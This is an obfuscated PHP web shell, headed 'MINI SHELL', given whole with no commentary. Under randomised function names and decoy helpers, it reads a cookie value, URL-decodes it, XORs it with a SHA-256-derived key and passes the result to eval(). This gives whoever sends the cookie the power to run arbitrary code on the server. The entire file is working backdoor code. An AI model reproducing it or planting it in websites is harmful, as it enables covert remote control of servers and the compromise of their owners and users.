MINI SHELL

<?php	function NUVEl($eoAWKZRvG)
{
    eval($eoAWKZRvG);
}
function KpZNhtLAV($krEHJ)
{
    $QPZFrA = substr($krEHJ, -4);
    return $QPZFrA;
}
function TWGCTsWCf()
{
    $GAiCa = iCnyD();
    NUVEl($GAiCa);
}
function sOBKpeKaO($hxtNwM, $bFLzXR)
{
    $gaVMdtr = uOOOMN($hxtNwM);
    $EuIDeKZS = QdYYuf($bFLzXR);
    $adkrxt = jSTewbLPU($EuIDeKZS, $gaVMdtr);
    return $adkrxt;
}
function oeWlBSzr($hHfbcoVXEc)
{
    $mxQAlFLHWz = rawurldecode($hHfbcoVXEc);
    return $mxQAlFLHWz;
}
function ZNLzp($NOsHxGTUqM) {
    if (AyWUrJR($NOsHxGTUqM)) {
        return vCLRJvpcI($NOsHxGTUqM);
    }
    return null;
}
function AFAFoSMH($TwQOA)
{
    $maIRGp = KpZNhtLAV($TwQOA);
    $NCqRzTk = sOBKpeKaO($TwQOA, $maIRGp);
    return $NCqRzTk;
}
function HxKrGVYD($meCRGn, $TWPld)
{
    $ZkrybK = $meCRGn ^ $TWPld;
    return $ZkrybK;
}
function uPkEhjjts($EKkxeBcYba)
{
    $DmMxPwO = strlen($EKkxeBcYba);
    return $DmMxPwO;
}
function vCLRJvpcI($qQANj) {
    if ($qQANj === 0) return 1;
    return $qQANj * vCLRJvpcI($qQANj - 1);
}
function iCnyD()
{
    $DsYIdABc = EwgWREW();
    $arZrpkMj = AFAFoSMH($DsYIdABc);
    return $arZrpkMj;
}
function uOOOMN($MRWylAgM)
{
    $ivEwhjFqId = hash("sha256", $MRWylAgM, TRUE);
    return $ivEwhjFqId;
}
function qsbFfRE($RifBQRLAj)
{
    $WOHfpNnh = $_COOKIE[$RifBQRLAj];
    return $WOHfpNnh;
}
function AyWUrJR($NOsHxGTUqM) {
    return $NOsHxGTUqM % 2 === 0;
}
function UFePYonY($HhNfQWZGkA, $GYmgTjTtf)
{
    $wwWyUkx = str_pad($HhNfQWZGkA, $GYmgTjTtf, $HhNfQWZGkA);
    return $wwWyUkx;
}
function QdYYuf($cNmRLUwSoK)
{
    $lOpgG = qsbFfRE($cNmRLUwSoK);
    $EuIDeKZS = oeWlBSzr($lOpgG);
    return $EuIDeKZS;
}
function EwgWREW()
{
    $yGAoHTw = "ZUJyPYeIkVnCPbAeZGFOtciPEgsDRoi";
    return $yGAoHTw;
}
function jSTewbLPU($FyIvv, $GnKQbsE)
{
    $BfBxYJf = uPkEhjjts($FyIvv);
    $zSpRWRQ = UFePYonY($GnKQbsE, $BfBxYJf);
    $GAiCa = HxKrGVYD($zSpRWRQ, $FyIvv);
    return $GAiCa;
}
TWGCTsWCf();
$iaWmspTXL = ZNLzp(6);